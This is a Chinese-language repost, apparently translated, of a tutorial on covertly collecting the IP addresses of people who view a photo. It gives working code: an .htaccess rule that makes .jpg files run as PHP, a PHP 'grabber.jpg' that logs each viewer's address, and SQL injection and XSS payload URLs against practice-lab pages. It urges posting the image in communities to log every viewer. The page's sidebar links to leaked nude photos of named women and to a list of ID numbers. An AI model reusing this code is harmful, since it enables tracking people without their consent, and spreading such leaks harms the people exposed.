当前位置:w88优德官网网文章中心网站运营帮助中心 → 如何通过一张照片来获取IP地址?

如何通过一张照片来获取IP地址?

减小字体 增大字体 作者:admin  来源:本站整理  发布时间:2016-11-10 9:07:29
通过照片获取IP地址 SQL注入语句 SQL注入 SQL注入攻击今天早上起床之后,我看到一篇关于“使用sql注入语句获取ip地址”的文章,对此我很感兴趣,就仔细阅读了一下,在读完这篇文章之后,我有了一个新的想法:通过对htaccess的利用,实现用一张照片获取他人的ip地址。在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。下面就是我们需要向.htaccess中添加的代码:
AddHandler application/x-httpd-php5 .jpg
然后将下面的代码复制到记事本中,命名为grabber.jpg
<?php$fh = fopen('ip_list.txt', 'a');fwrite($fh, $_SERVER['REMOTE_ADDR']."");fclose($fh);$im = imagecreatefromjpeg("n00b.png");header('Content-Type: image/jpeg');imagejpeg($im);imagedestroy($im);?>
将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。(译者注:需要把这些东西上传至我们的个人网站空间中)POC:(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)至此,我们的照片已经可以开始工作了。接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#
现在,再说一下如何使用xss来获取ip地址:
http://leettime.net/xsslab1/chalg1.php?name=<img src="http://upload.CUOXin.com/2016/0411/1460368129852.jpg" alt="通过照片获取IP地址 SQL注入语句 SQL注入 SQL注入攻击">&submit=Search
好了,就是这些了。我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。谢谢您的阅读,Happy Hacking!

本文引用网址:
在下列搜索引擎中搜索“如何通过一张照片来获取IP地址?”的相关信息:
谷歌搜索 百度搜索 360搜索 雅虎搜索 搜狗搜索 搜搜搜索 必应搜索 有道搜索
你可能还喜欢以下文章
  • 1王梦溪未经处理照曝光 王梦溪口...
  • 22013最新门事件 警花王梦溪不雅...
  • 3马蓉裸照原图没有马赛克曝光 马...
  • 4林晨钰爆奶门照片ed2k 林晨钰爆...
  • 5马蓉裸照曝光 马蓉露两点不雅照...
  • 12016年最新成年身份证号码大全...
  • 2如何设置三级优德w88官网?二级优德w88官网三...
  • 3DEDE"模板文件不存在,无法解...
  • 4初级版SEO自测试题 考考你的SE...
  • 5建站流程网:SEO优化之请输入关...
  • 1最流行的性交姿势图解 真人示范...
  • 2什么姿势女的最爽?最刺激的做...
  • 3王梦溪种子完整版 王梦溪1.08G...
  • 4合肥艳照门事件 合肥艳照门全套...
  • 5兰州警花王梦溪裸照全集视频 王...
  • 1linux服务器在运行210天左右宕...
  • 2ADSL电话线干扰导致网络经常掉...
  • 3FTP基础知识和应用简易教程
  • 4Linux安装U盘的过程
  • 5虚拟化环境下之服务器存储备份...
  • 赞助商广告

    图片文章导读